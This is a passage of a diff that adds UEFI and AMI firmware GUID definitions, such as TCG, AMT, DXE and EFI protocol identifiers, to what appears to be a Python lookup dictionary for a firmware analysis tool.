0x1e, 0x1a, 0xa4, 0xc5, 0xd5, 0xb9, 0x46], + 'AMI_TCG_CONFIRMATION_FLAGS_GUID': [0x7d3dceee, 0xcbce, 0x4ea7, 0x87, 0x09, 0x6e, 0x55, 0x2f, 0x1e, 0xdb, 0xde], + 'AMI_TCG_EFI_OS_VARIABLE_GUID': [0xa8a2093b, 0xfefa, 0x43c1, 0x8e, 0x62, 0xce, 0x52, 0x68, 0x47, 0x26, 0x5e], + 'AMI_TCG_PERM_FLAGS_GUID': [0x2325f2fc, 0x5683, 0x4648, 0x97, 0xc4, 0x9a, 0x52, 0x0d, 0xfb, 0xe3, 0x25], + 'AMI_TCG_PLATFORM_PPI_AFTER_MEM_GUID': [0x890c2cef, 0x43c8, 0x4209, 0xa7, 0x8d, 0xae, 0x14, 0xaa, 0x17, 0x98, 0xb4], + 'AMI_TCG_PLATFORM_PPI_BEFORE_MEM_GUID': [0xc1e6791d, 0xf35b, 0x43ef, 0x92, 0xa, 0xbe, 0x6, 0xba, 0x7f, 0x86, 0xa1], + 'AMI_TCG_PLATFORM_PPI_GUID': [0x5687f4a, 0x3ca7, 0x4d19, 0x9b, 0xc5, 0xe1, 0x80, 0xce, 0xa3, 0x56, 0x9f], + 'AMI_TCG_PLATFORM_PROTOCOL_GUID': [0x320bdc39, 0x3fa0, 0x4ba9, 0xbf, 0x2d, 0xb3, 0x3f, 0x72, 0xba, 0x9c, 0xa1], + 'AMI_TCG_RESETVAR_HOB_GUID': [0xa8a2093b, 0xfefa, 0x43c1, 0x8e, 0x62, 0xce, 0x52, 0x68, 0x47, 0x26, 0x5e], + 'AMI_USB_SMM_PROTOCOL_GUID': [0x3ef7500e, 0xcf55, 0x474f, 0x8e, 0x7e, 0x0, 0x9e, 0xe, 0xac, 0xec, 0xd2], + 'AMT_FORCE_PUSH_PET_HOB_GUID': [0x4efa0db6, 0x26dc, 0x4bb1, 0xa7, 0x6f, 0x14, 0xbc, 0x63, 0x0c, 0x7b, 0x3c], + 'AMT_FORCE_PUSH_PET_POLICY_GUID': [0xacc8e1e4, 0x9f9f, 0x4e40, 0xa5, 0x7e, 0xf9, 0x9e, 0x52, 0xf3, 0x4c, 0xa5], + 'AMT_FORCE_PUSH_PET_VARIABLE_GUID': [0xd7ac94af, 0xa498, 0x45ec, 0xbf, 0xa2, 0xa5, 0x6e, 0x95, 0x34, 0x61, 0x8b], + 'AMT_INT16_CSM_GUID': [0x6046e678, 0x24ef, 0x4005, 0xba, 0x39, 0xbd, 0xa1, 0x1f, 0x6d, 0x55, 0x5d], + 'AMT_READY_TO_BOOT_PROTOCOL_GUID': [0x40b09b5a, 0xf0ef, 0x4627, 0x93, 0xd5, 0x27, 0xf0, 0x4b, 0x75, 0x4d, 0x5], + 'AOAC_EC_WAKEUP_CUSTOM_PPI_GUID': [0x82627acf, 0xd92d, 0x416d, 0x8a, 0x6f, 0x78, 0x3c, 0xac, 0xd9, 0x12, 0x23], + 'AOAC_FFS_TABLE_STORAGE_GUID': [0xfb045db2, 0x598e, 0x485a, 0xba, 0x30, 0x5d, 0x7b, 0x1b, 0x1b, 0xd5, 0x4d], + 'APTIO_FW_CAPSULE_GUID': [0x4A3CA68B, 0x7723, 0x48FB, 0x80, 0x3d, 0x57, 0x8c, 0xc1, 0xfe, 0xc4, 0x4d], + 'APTIO_HII_PROTOCOL_GUID': [0xea816d2c, 0xcee5, 0x4f02, 0x99, 0xb5, 0xd3, 0x90, 0x5c, 0xbb, 0xd0, 0x77], + 'AUTHVAR_MAILBOX_VARIABLE_GUID': [0x532B6532, 0x6499, 0x428D, 0xAC, 0xB1, 0xF6, 0xF7, 0x79, 0xC9, 0x4D, 0xF9], + 'BDS_ALL_DRIVERS_CONNECTED_PROTOCOL_GUID': [0xdbc9fd21, 0xfad8, 0x45b0, 0x9e, 0x78, 0x27, 0x15, 0x88, 0x67, 0xcc, 0x93], + 'BDS_CONNECT_DRIVERS_PROTOCOL_GUID': [0x3aa83745, 0x9454, 0x4f7a, 0xa7, 0xc0, 0x90, 0xdb, 0xd0, 0x2f, 0xab, 0x8e], + 'BLOCK_DEVICE_RECOVERY_CAPSULE_GUID': [0xba8263c, 0xa8bd, 0x4aad, 0xb4, 0x2, 0x6a, 0x6a, 0xf2, 0xf7, 0xe7, 0x7d], + 'BOOT_FLOW_VARIABLE_GUID': [0xEF152FB4, 0x7B2F, 0x427D, 0xBD, 0xB4, 0x7E, 0x0A, 0x05, 0x82, 0x6E, 0x64], + 'BOOT_FORM_SET_GUID': [0x8b33ffe0, 0xd71c, 0x4f82, 0x9c, 0xeb, 0xc9, 0x70, 0x58, 0xc1, 0x3f, 0x8e], + 'BOOT_MANAGER_GUID': [0xB4909CF3, 0x7B93, 0x4751, 0x9B, 0xD8, 0x5B, 0xA8, 0x22, 0x0B, 0x9B, 0xB2], + 'BOOT_NOW_COUNT_GUID': [0x052e6eb0, 0xf240, 0x42c5, 0x83, 0x09, 0x45, 0x87, 0x45, 0x45, 0xc6, 0xb4], + 'CHIPSET_FORM_SET_GUID': [0xadfe34c8, 0x9ae1, 0x4f8f, 0xbe, 0x13, 0xcf, 0x96, 0xa2, 0xcb, 0x2c, 0x5b], + 'CMOS_MANAGER_HOB_GUID': [0xd5367802, 0xb873, 0x4c0f, 0xb5, 0x44, 0x31, 0xb7, 0xcc, 0xf5, 0xc5, 0x55], + 'CONSOLE_IN_DEVICES_STARTED_PROTOCOL_GUID': [0x2df1e051, 0x906d, 0x4eff, 0x86, 0x9d, 0x24, 0xe6, 0x53, 0x78, 0xfb, 0x9e], + 'CONSOLE_OUT_DEVICES_STARTED_PROTOCOL_GUID': [0xef9a3971, 0xc1a0, 0x4a93, 0xbd, 0x40, 0x5a, 0xa1, 0x65, 0xf2, 0xdc, 0x3a], + 'CPU_MICROCODE_FILE_GUID': [0x17088572, 0x377F, 0x44ef, 0x8F, 0x4E, 0xB0, 0x9F, 0xFF, 0x46, 0xA0, 0x70], + 'CPU_WAKE_UP_BUFFER_VARIABLE_GUID': [0xdf665292, 0x79d7, 0x40e2, 0xba, 0x51, 0xf7, 0xd4, 0x94, 0x62, 0x81, 0x85], + 'CSM_VIDEO_POLICY_PROTOCOL_GUID': [0x3a4e4376, 0x4871, 0x4b0e, 0xa0, 0x2f, 0xed, 0x36, 0xf2, 0xae, 0xcd, 0x0], + 'DCA_HOB_GUID': [0x6865c455, 0x8626, 0x40d8, 0x90, 0xf4, 0xa6, 0x94, 0x60, 0xa4, 0xab, 0x5a], + 'DEBUGGER_TERMINAL_VAR_GUID': [0x97ca1a5b, 0xb760, 0x4d1f, 0xa5, 0x4b, 0xd1, 0x90, 0x92, 0x3, 0x2c, 0x90], + 'DEFINE_GUID_CRBDXEBin_GUID': [0x16271fca, 0x55d9, 0x4a33, 0x93, 0xfc, 0x5a, 0x3e, 0xb1, 0x28, 0xde, 0xb6], + 'DEFINE_GUID_CRBSMIBin_GUID': [0x221f1d4f, 0x034c, 0x4bea, 0xb2, 0xbb, 0xb7, 0xa9, 0x67, 0x2b, 0x06, 0xd7], + 'DEFINE_GUID_AcpiPlatformPeiBin_GUID': [0x333bb2a3, 0x4f20, 0x4c8b, 0xac, 0x38, 0x6, 0x72, 0xd7, 0x43, 0x15, 0xf8], + 'DEFINE_GUID_OEMPEIBin_GUID': [0x6e59df06, 0x62d3, 0x40b0, 0x82, 0xb5, 0x17, 0x5c, 0xf8, 0x4a, 0x94, 0xe4], + 'DEFINE_GUID_SBDXEBin_GUID': [0xb7d19491, 0xe55a, 0x470d, 0x85, 0x8, 0x85, 0xa5, 0xdf, 0xa4, 0x19, 0x74], + 'DEFINE_GUID_OEMDXEBin_GUID': [0xbfe205c9, 0x5b17, 0x4f8f, 0x93, 0x75, 0x89, 0x61, 0x4a, 0xf8, 0xe1, 0x99], + 'DEFINE_GUID_SBPEIBin_GUID': [0xc1fbd624, 0x27ea, 0x40d1, 0xaa, 0x48, 0x94, 0xc3, 0xdc, 0x5c, 0x7e, 0xd], + 'DEFINE_GUID_CRBPEIBin_GUID': [0xd1ed2f7, 0xe92b, 0x4562, 0x92, 0xdd, 0x5c, 0x82, 0xec, 0x91, 0x7e, 0xae], + 'DEFINE_GUID_AcpiPlatformSmiBin_GUID': [0xdfd8d5cc, 0x5aed, 0x4820, 0xa2, 0xb6, 0x5c, 0x55, 0xe4, 0xe6, 0x40, 0xef], + 'DEFINE_GUID_NBPEIBin_GUID': [0x79aa6086, 0x035a, 0x4ad9, 0xa8, 0x9a, 0xa6, 0xd5, 0xaa, 0x27, 0xf0, 0xe2], + 'DEFINE_GUID_NBDXEBin_GUID': [0xe4ecd0b2, 0xe277, 0x4f2b, 0xbe, 0xcb, 0xe4, 0xd7, 0x5c, 0x9a, 0x81, 0x2e], + 'DEFINE_GUID_SBRunBin_GUID': [0xe23f86e1, 0x056e, 0x4888, 0xb6, 0x85, 0xcf, 0xcd, 0x67, 0xc1, 0x79, 0xd4], + 'DEL_BOOT_OPTION_GUID': [0xF6C73719, 0xF34C, 0x479C, 0xB3, 0x2F, 0x27, 0x7F, 0xCB, 0xBC, 0xFE, 0x4F], + 'DIMM_TS_INFO_GUID': [0xce673a28, 0x800d, 0x4b4a, 0x83, 0x16, 0x26, 0x61, 0xf9, 0xb3, 0xd9, 0xc6], + 'DXE_CPU_CACHE_PROTOCOL_GUID': [0x5c6fa2c9, 0x9768, 0x45f6, 0x8e, 0x64, 0x5a, 0xec, 0xca, 0xda, 0xb4, 0x81], + 'DXE_CPU_INFO_PROTOCOL_GUID': [0xe223cf65, 0xf6ce, 0x4122, 0xb3, 0xaf, 0x4b, 0xd1, 0x8a, 0xff, 0x40, 0xa1], + 'DXE_CPU_PLATFORM_POLICY_PROTOCOL_GUID': [0xbd26cdc9, 0xa092, 0x462a, 0x87, 0x7a, 0x5a, 0xb6, 0xad, 0xce, 0x48, 0x12], + 'DXE_ENHANCED_SPEEDSTEP_PROTOCOL_GUID': [0xe98021, 0xf4fe, 0x46cc, 0xab, 0x2d, 0x89, 0x4c, 0x37, 0x3a, 0xfa, 0x1], + 'DXE_PCH_PLATFORM_POLICY_PROTOCOL_GUID': [0xe0a31dbe, 0xf20e, 0x4e2a, 0x9f, 0x2b, 0x9f, 0x2, 0xa2, 0x7d, 0x3d, 0x69], + 'DXE_PLATFORM_AMT_POLICY_GUID': [0xb2ab115e, 0xc8b6, 0x4036, 0xbf, 0x31, 0xe7, 0x4b, 0xd8, 0x92, 0x6c, 0xce], + 'DXE_PLATFORM_ME_POLICY_GUID': [0xf8bff014, 0x18fb, 0x4ef9, 0xb1, 0xc, 0xae, 0x22, 0x73, 0x8d, 0xbe, 0xed], + 'DXE_PLATFORM_SA_POLICY_GUID': [0xCD2333D7, 0x6A0A, 0x4C76, 0x83, 0x50, 0x24, 0xA, 0xDA, 0x36, 0xA2, 0xC7], + 'DXE_PLATFORM_SG_POLICY_GUID': [0x6199dc36, 0xe114, 0x4e0d, 0x80, 0x99, 0x99, 0xa0, 0xbd, 0x80, 0xa9, 0x71], + 'DXE_PLATFORM_TDT_POLICY_GUID': [0x20daf0fc, 0x5548, 0x44dc, 0xa4, 0x2a, 0x60, 0xea, 0xf0, 0xa2, 0x2e, 0x47], + 'DXE_TXT_POLICY_PROTOCOL_GUID': [0x43F66FFD, 0xB288, 0x4139, 0xBA, 0xD5, 0xB8, 0x98, 0x3, 0xE7, 0x30, 0xA2], + 'DYNAMIC_PAGE_COUNT_GUID': [0xb63bf800, 0xf267, 0x4f55, 0x92, 0x17, 0xe9, 0x7f, 0xb3, 0xb6, 0x98, 0x46], + 'EFI_ABSOLUTE_POINTER_PROTOCOL_GUID': [0x8D59D32B, 0xC655, 0x4AE9, 0x9B, 0x15, 0xF2, 0x59, 0x04, 0x99, 0x2A, 0x43], + 'EFI_ACPI_20_TABLE_GUID': [0x8868e871, 0xe4f1, 0x11d3, 0xbc, 0x22, 0x0, 0x80, 0xc7, 0x3c, 0x88, 0x81], + 'EFI_ACPI_20_TABLE_GUID': [0x8868e871, 0xe4f1, 0x11d3, 0xbc, 0x22, 0x0, 0x80, 0xc7, 0x3c, 0x88, 0x81], + 'EFI_ACPI_S3_SAVE_GUID': [0x125f2de1, 0xfb85, 0x440c, 0xa5, 0x4c, 0x4d, 0x99, 0x35, 0x8a, 0x8d, 0x38], + 'EFI_ACPI_SDT_PROTOCOL_GUID': [0xeb97088e, 0xcfdf, 0x49c6, 0xbe, 0x4b, 0xd9, 0x6, 0xa5, 0xb2, 0xe, 0x86], + 'EFI_ACPI_SUPPORT_GUID': [0xdbff9d55, 0x89b7, 0x46da, 0xbd, 0xdf, 0x67, 0x7d, 0x3d, 0xc0, 0x24, 0x1d], + 'EFI_ACPI_TABLE_GUID': [0xeb9d2d30, 0x2d88, 0x11d3, 0x9a, 0x16, 0x0, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'EFI_ACPI_TABLE_PROTOCOL_GUID': [0xffe06bdd, 0x6107, 0x46a6, 0x7b, 0xb2, 0x5a, 0x9c, 0x7e, 0xc5, 0x27, 0x5c], + 'EFI_ACPI_TABLE_STORAGE_GUID': [0x7e374e25, 0x8e01, 0x4fee, 0x87, 0xf2, 0x39, 0xc, 0x23, 0xc6, 0x6, 0xcd], + 'EFI_ACPI_VARIABLE_GUID': [0xaf9ffd67, 0xec10, 0x488a, 0x9d, 0xfc, 0x6c, 0xbf, 0x5e, 0xe2, 0x2c, 0x2e], + 'EFI_ACTIVE_BIOS_PROTOCOL_GUID': [0xebbe2d1b, 0x1647, 0x4bda, 0xab, 0x9a, 0x78, 0x63, 0xe3, 0x96, 0xd4, 0x1a], + 'EFI_ACTIVE_MANAGEMENT_PROTOCOL_GUID': [0x8555fd40, 0x140b, 0x4f3c, 0x90, 0x5e, 0x3b, 0xf3, 0x78, 0xa0, 0x99, 0xfa], + 'EFI_AHCI_INT13_INIT_PROTOCOL_GUID': [0x67820532, 0x7613, 0x4dd3, 0x9e, 0xd7, 0x3d, 0x9b, 0xe3, 0xa7, 0xda, 0x63], + 'EFI_ALERT_STANDARD_FORMAT_PROTOCOL_GUID': [0xcc93a70b, 0xec27, 0x49c5, 0x8b, 0x34, 0x13, 0x93, 0x1e, 0xfe, 0xd6, 0xe2], + 'EFI_ALTERNATE_FV_BLOCK_GUID': [0xf496922d, 0x172f, 0x4bbc, 0xa1, 0xeb, 0xe, 0xeb, 0x94, 0x9c, 0x34, 0x86], + 'EFI_AMI_LEGACYBOOT_PROTOCOL_GUID': [0x120d28aa, 0x6630, 0x46f0, 0x81, 0x57, 0xc0, 0xad, 0xc2, 0x38, 0x3b, 0xf5], + 'EFI_APRIORI_GUID': [0xfc510ee7, 0xffdc, 0x11d4, 0xbd, 0x41, 0x0, 0x80, 0xc7, 0x3c, 0x88, 0x81], + 'EFI_ARP_PROTOCOL_GUID': [0xf4b427bb, 0xba21, 0x4f16, 0xbc, 0x4e, 0x43, 0xe4, 0x16, 0xab, 0x61, 0x9c], + 'EFI_ARP_SERVICE_BINDING_PROTOCOL_GUID': [0xf44c00ee, 0x1f2c, 0x4a00, 0xaa, 0x9, 0x1c, 0x9f, 0x3e, 0x8, 0x0, 0xa3], + 'EFI_AUTHENTICATION_INFO_PROTOCOL_GUID': [0x7671d9d0, 0x53db, 0x4173, 0xaa, 0x69, 0x23, 0x27, 0xf2, 0x1f, 0x0b, 0xc7], + 'EFI_AUTHENTICATION_INFO_PROTOCOL_GUID': [0x7671d9d0, 0x53db, 0x4173, 0xaa, 0x69, 0x23, 0x27, 0xf2, 0x1f, 0xb, 0xc7], + 'EFI_AUTHORIZATION_PROTOCOL_GUID': [0x995188b1, 0x9f96, 0x11d4, 0x87, 0xae, 0x00, 0x06, 0x29, 0x2e, 0x8a, 0x3b], + 'EFI_BDAT_ACCESS_GUID': [0xb979746a, 0x8c1f, 0x4a2b, 0x97, 0xe4, 0x78, 0xe9, 0x3a, 0x71, 0xa7, 0xa], + 'EFI_BDS_ARCH_PROTOCOL_GUID': [0x665E3FF6, 0x46CC, 0x11d4, 0x9A, 0x38, 0x00, 0x90, 0x27, 0x3F, 0xC1, 0x4D], + 'EFI_BIS_PROTOCOL_GUID': [0x0b64aab0, 0x5429, 0x11d4, 0x98, 0x16, 0x00, 0xa0, 0xc9, 0x1f, 0xad, 0xcf], + 'EFI_BLOCK_IO_PROTOCOL_GUID': [0x964e5b21, 0x6459, 0x11d2, 0x8e, 0x39, 0x0, 0xa0, 0xc9, 0x69, 0x72, 0x3b], + 'EFI_BOOT_SCRIPT_SAVE_PROTOCOL_GUID': [0x470e1529, 0xb79e, 0x4e32, 0xa0, 0xfe, 0x6a, 0x15, 0x6d, 0x29, 0xf9, 0xb2], + 'EFI_BUS_SPECIFIC_DRIVER_OVERRIDE_PROTOCOL_GUID': [0x3bc1b285, 0x8a15, 0x4a82, 0xaa, 0xbf, 0x4d, 0x7d, 0x13, 0xfb, 0x32, 0x65], + 'EFI_CACHE_INSTALL_PPI_GUID': [0xbb628ae0, 0xcd4f, 0x49fe, 0x8d, 0x60, 0x63, 0x18, 0x6f, 0xd1, 0xe0, 0x5b], + 'EFI_CACHE_SUBCLASS_GUID': [0x7f0013a7, 0xdc79, 0x4b22, 0x80, 0x99, 0x11, 0xf7, 0x5f, 0xdc, 0x82, 0x9d], + 'EFI_CAPSULE_AMI_GUID': [0xfac2efad, 0x8511, 0x4e34, 0x9c, 0xae, 0x16, 0xa2, 0x57, 0xba, 0x94, 0x88], + 'EFI_CAPSULE_ARCH_PROTOCOL_GUID': [0x5053697e, 0x2cbc, 0x4819, 0x90, 0xd9, 0x5, 0x80, 0xde, 0xee, 0x57, 0x54], + 'EFI_CAPSULE_GUID': [0x3B6686BD, 0x0D76, 0x4030, 0xB7, 0x0E, 0xB5, 0x51, 0x9E, 0x2F, 0xC5, 0xA0], + 'EFI_CAPSULE_INFO_GUID': [0x8B34EAC7, 0x2690, 0x460B, 0x8B, 0xA5, 0xD5, 0xCF, 0x32, 0x83, 0x17, 0x35], + 'EFI_CAPSULE_VENDOR_GUID': [0x711C703F, 0xC285, 0x4B10, 0xA3, 0xB0, 0x36, 0xEC, 0xBD, 0x3C, 0x8B, 0xE2], + 'EFI_CERT_RSA2048_GUID': [0x3c5766e8, 0x269c, 0x4e34, 0xaa, 0x14, 0xed, 0x77, 0x6e, 0x85, 0xb3, 0xb6], + 'EFI_CERT_RSA2048_SHA1_GUID': [0x67f8444f, 0x8743, 0x48f1, 0xa3, 0x28, 0x1e, 0xaa, 0xb8, 0x73, 0x60, 0x80], + 'EFI_CERT_RSA2048_SHA256_GUID': [0xe2b36190, 0x879b, 0x4a3d, 0xad, 0x8d, 0xf2, 0xe7, 0xbb, 0xa3, 0x27, 0x84], + 'EFI_CERT_SHA1_GUID': [0x826ca512, 0xcf10, 0x4ac9, 0xb1, 0x87, 0xbe, 0x01, 0x49, 0x66, 0x31, 0xbd], + 'EFI_CERT_SHA256_GUID': [0xc1c41626, 0x504c, 0x4092, 0xac, 0xa9, 0x41, 0xf9, 0x36, 0x93, 0x43, 0x28], + 'EFI_CERT_TYPE_PKCS7_GUID': [0x4aafd29d, 0x68df, 0x49ee, 0x8a, 0xa9, 0x34, 0x7d, 0x37, 0x56, 0x65, 0xa7], + 'EFI_CERT_TYPE_RSA2048_SHA256_GUID': [0xa7717414, 0xc616, 0x4977, 0x94, 0x20, 0x84, 0x47, 0x12, 0xa7, 0x35, 0xbf], + 'EFI_CLP_PROTOCOL_GUID': [0xcbbee336, 0x2682, 0x4cd6, 0x81, 0x8b, 0xa, 0xd, 0x96, 0x7e, 0x5a, 0x67], + 'EFI_CMOS_DATA_HOB_INSTALLED_GUID': [0x5a6a93f4, 0x2907, 0x4a34, 0xbd, 0x11, 0x6c, 0xa8, 0xa0, 0x95, 0x9e, 0x9], + 'EFI_COMPATIBLE_MEMORY_TESTED_PROTOCOL_GUID': [0x64c475ef, 0x344b, 0x492c, 0x93, 0xad, 0xab, 0x9e, 0xb4, 0x39, 0x50, 0x4], + 'EFI_COMPONENT_NAME2_PROTOCOL_GUID': [0x6a7a5cff, 0xe8d9, 0x4f70, 0xba, 0xda, 0x75, 0xab, 0x30, 0x25, 0xce, 0x14], + 'EFI_COMPONENT_NAME_PROTOCOL_GUID': [0x107a772c, 0xd5e1, 0x11d4, 0x9a, 0x46, 0x0, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'EFI_CONFIG_FILE_NAME_GUID': [0x98B8D59B, 0xE8BA, 0x48EE, 0x98, 0xDD, 0xC2, 0x95, 0x39, 0x2F, 0x1E, 0xDB], + 'EFI_CONSOLE_IN_DEVICE_GUID': [0xd3b36f2b, 0xd551, 0x11d4, 0x9a, 0x46, 0x0, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'EFI_CONSOLE_LOCK_GUID': [0x368cda0d, 0xcf31, 0x4b9b, 0x8c, 0xf6, 0xe7, 0xd1, 0xbf, 0xff, 0x15, 0x7e], + 'EFI_CONSOLE_OUT_DEVICE_GUID': [0xd3b36f2c, 0xd551, 0x11d4, 0x9a, 0x46, 0x0, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'EFI_CPU_ARCH_PROTOCOL_GUID': [0x26baccb1, 0x6f42, 0x11d4, 0xbc, 0xe7, 0x0, 0x80, 0xc7, 0x3c, 0x88, 0x81], + 'EFI_CPU_IO2_PROTOCOL_GUID': [0xB0732526, 0x38C8, 0x4b40, 0x88, 0x77, 0x61, 0xC7, 0xB0, 0x6A, 0xAC, 0x45], + 'EFI_CPU_IO2_PROTOCOL_GUID': [0xad61f191, 0xae5f, 0x4c0e, 0xb9, 0xfa, 0xe8, 0x69, 0xd2, 0x88, 0xc6, 0x4f], + 'EFI_CPU_IO_PROTOCOL_GUID': [0xB0732526, 0x38C8, 0x4b40, 0x88, 0x77, 0x61, 0xC7, 0xB0, 0x6A, 0xAC, 0x45], + 'EFI_CPU_TYPE_FRU_GUID': [0xf064c91f, 0x188c, 0x4f56, 0xb7, 0xfd, 0x30, 0xa9, 0xb8, 0x6a, 0x29, 0xf3], + 'EFI_CRC32_GUIDED_SECTION_EXTRACTION_PROTOCOL_GUID': [0xFC1BCDB0, 0x7D31, 0x49aa, 0x93, 0x6A, 0xA4, 0x60, 0x0D, 0x9D, 0xD0, 0x83], + 'EFI_CUSTOMIZED_DECOMPRESS_PROTOCOL_GUID': [0x9a44198e, 0xa4a2, 0x44e6, 0x8a, 0x1f, 0x39, 0xbe, 0xfd, 0xac, 0x89, 0x6f], + 'EFI_DATA_HUB_PROTOCOL_GUID': [0xae80d021, 0x618e, 0x11d4, 0xbc, 0xd7, 0x0, 0x80, 0xc7, 0x3c, 0x88, 0x81], + 'EFI_DEBUGPORT_PROTOCOL_GUID': [0xEBA4E8D2, 0x3858, 0x41EC, 0xA2, 0x81, 0x26, 0x47, 0xBA, 0x96, 0x60, 0xD0], + 'EFI_DEBUG_ASSERT_PROTOCOL_GUID': [0xbe499c92, 0x7d4b, 0x11d4, 0xbc, 0xee, 0x0, 0x80, 0xc7, 0x3c, 0x88, 0x81], + 'EFI_DEBUG_IMAGE_INFO_TABLE_GUID': [0x49152e77, 0x1ada, 0x4764, 0xb7, 0xa2, 0x7a, 0xfe, 0xfe, 0xd9, 0x5e, 0x8b], + 'EFI_DEBUG_MASK_PPI_GUID': [0x3bd930fd, 0xf823, 0x4948, 0x86, 0x91, 0x98, 0xe6, 0xfe, 0x36, 0xac, 0xe2], + 'EFI_DEBUG_MASK_PROTOCOL_GUID': [0x4c8a2451, 0xc207, 0x405b, 0x96, 0x94, 0x99, 0xea, 0x13, 0x25, 0x13, 0x41], + 'EFI_DEBUG_SUPPORT_PROTOCOL_GUID': [0x2755590C, 0x6F3C, 0x42FA, 0x9E, 0xA4, 0xA3, 0xBA, 0x54, 0x3C, 0xDA, 0x25], + 'EFI_DECOMPRESS_PROTOCOL_GUID': [0xd8117cfe, 0x94a6, 0x11d4, 0x9a, 0x3a, 0x0, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'EFI_DEFERRED_IMAGE_LOAD_PROTOCOL_GUID': [0x15853d7c, 0x3ddf, 0x43e0, 0xa1, 0xcb, 0xeb, 0xf8, 0x5b, 0x8f, 0x87, 0x2c], + 'EFI_DEVICE_IO_PROTOCOL_GUID': [0xaf6ac311, 0x84c3, 0x11d2, 0x8e, 0x3c, 0x00, 0xa0, 0xc9, 0x69, 0x72, 0x3b], + 'EFI_DEVICE_PATH_FROM_TEXT_PROTOCOL_GUID': [0x5c99a21, 0xc70f, 0x4ad2, 0x8a, 0x5f, 0x35, 0xdf, 0x33, 0x43, 0xf5, 0x1e], + 'EFI_DEVICE_PATH_PROTOCOL_GUID': [0x09576e91, 0x6d3f, 0x11d2, 0x8e, 0x39, 0x00, 0xa0, 0xc9, 0x69, 0x72, 0x3b], + 'EFI_DEVICE_PATH_PROTOCOL_GUID': [0x9576e91, 0x6d3f, 0x11d2, 0x8e, 0x39, 0x0, 0xa0, 0xc9, 0x69, 0x72, 0x3b], + 'EFI_DEVICE_PATH_TO_TEXT_PROTOCOL_GUID': [0x8b843e20, 0x8132, 0x4852, 0x90, 0xcc, 0x55, 0x1a, 0x4e, 0x4a, 0x7f, 0x1c], + 'EFI_DEVICE_PATH_UTILITIES_PROTOCOL_GUID': [0x379be4e, 0xd706, 0x437d, 0xb0, 0x37, 0xed, 0xb8, 0x2f, 0xb7, 0x72, 0xa4], + 'EFI_DHCP4_PROTOCOL_GUID': [0x8a219718, 0x4ef5, 0x4761, 0x91, 0xc8, 0xc0, 0xf0, 0x4b, 0xda, 0x9e, 0x56], + 'EFI_DHCP4_SERVICE_BINDING_PROTOCOL_GUID': [0x9d9a39d8, 0xbd42, 0x4a73, 0xa4, 0xd5, 0x8e, 0xe9, 0x4b, 0xe1, 0x13, 0x80], + 'EFI_DISK_INFO_AHCI_INTERFACE_GUID': [0x9e498932, 0x4abc, 0x45af, 0xa3, 0x4d, 0x2, 0x47, 0x78, 0x7b, 0xe7, 0xc6], + 'EFI_DISK_INFO_IDE_INTERFACE_GUID': [0x5e948fe3, 0x26d3, 0x42b5, 0xaf, 0x17, 0x61, 0x2, 0x87, 0x18, 0x8d, 0xec], + 'EFI_DISK_INFO_PROTOCOL_GUID': [0xd432a67f, 0x14dc, 0x484b, 0xb3, 0xbb, 0x3f, 0x2, 0x91, 0x84, 0x93, 0x27], + 'EFI_DISK_INFO_SCSI_INTERFACE_GUID': [0x8f74baa, 0xea36, 0x41d9, 0x95, 0x21, 0x21, 0xa7, 0xf, 0x87, 0x80, 0xbc], + 'EFI_DISK_INFO_USB_INTERFACE_GUID': [0xcb871572, 0xc11a, 0x47b5, 0xb4, 0x92, 0x67, 0x5e, 0xaf, 0xa7, 0x77, 0x27], + 'EFI_DISK_IO_PROTOCOL_GUID': [0xCE345171, 0xBA0B, 0x11d2, 0x8e, 0x4F, 0x00, 0xa0, 0xc9, 0x69, 0x72, 0x3b], + 'EFI_DISK_IO_PROTOCOL_GUID': [0xce345171, 0xba0b, 0x11d2, 0x8e, 0x4f, 0x0, 0xa0, 0xc9, 0x69, 0x72, 0x3b], + 'EFI_DMI_FORMAT_FRU_GUID': [0x67ef7a73, 0x2594, 0x4a5e, 0x93, 0xa, 0xe1, 0x66, 0xfa, 0xbc, 0xd2, 0xc8], + 'EFI_DRIVER_BINDING_PROTOCOL_GUID': [0x18a031ab, 0xb443, 0x4d1a, 0xa5, 0xc0, 0xc, 0x9, 0x26, 0x1e, 0x9f, 0x71], + 'EFI_DRIVER_CONFIGURATION2_PROTOCOL_GUID': [0xbfd7dc1d, 0x24f1, 0x40d9, 0x82, 0xe7, 0x2e, 0x09, 0xbb, 0x6b, 0x4e, 0xbe], + 'EFI_DRIVER_CONFIGURATION_PROTOCOL_GUID': [0x107a772b, 0xd5e1, 0x11d4, 0x9a, 0x46, 0x0, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'EFI_DRIVER_DIAGNOSTICS2_PROTOCOL_GUID': [0x4d330321, 0x025f, 0x4aac, 0x90, 0xd8, 0x5e, 0xd9, 0x0, 0x17, 0x3b, 0x63], + 'EFI_DRIVER_DIAGNOSTICS_PROTOCOL_GUID': [0x0784924f, 0xe296, 0x11d4, 0x9a, 0x49, 0x0, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'EFI_DRIVER_DIAGNOSTICS_PROTOCOL_GUID': [0x4d330321, 0x025f, 0x4aac, 0x90, 0xd8, 0x5e, 0xd9, 0x00, 0x17, 0x3b, 0x63], + 'EFI_DRIVER_FAMILY_OVERRIDE_PROTOCOL_GUID': [0xb1ee129e, 0xda36, 0x4181, 0x91, 0xf8, 0x4, 0xa4, 0x92, 0x37, 0x66, 0xa7], + 'EFI_DRIVER_HEALTH_PROTOCOL_GUID': [0x2a534210, 0x9280, 0x41d8, 0xae, 0x79, 0xca, 0xda, 0x1, 0xa2, 0xb1, 0x27], + 'EFI_DRIVER_SUPPORTED_EFI_VERSION_PROTOCOL_GUID': [0x5c198761, 0x16a8, 0x4e69, 0x97, 0x2c, 0x89, 0xd6, 0x79, 0x54, 0xf8, 0x1d], + 'EFI_DXE_CMOS_ACCESS_GUID': [0x9851740c, 0x22e0, 0x440d, 0x90, 0x90, 0xef, 0x2d, 0x71, 0xc2, 0x51, 0xc9], + 'EFI_DXE_IPL_PPI_GUID': [0xae8ce5d, 0xe448, 0x4437, 0xa8, 0xd7, 0xeb, 0xf5, 0xf1, 0x94, 0xf7, 0x31], + 'EFI_DXE_SERVICES_TABLE_GUID': [0x5ad34ba, 0x6f02, 0x4214, 0x95, 0x2e, 0x4d, 0xa0, 0x39, 0x8e, 0x2b, 0xb9], + 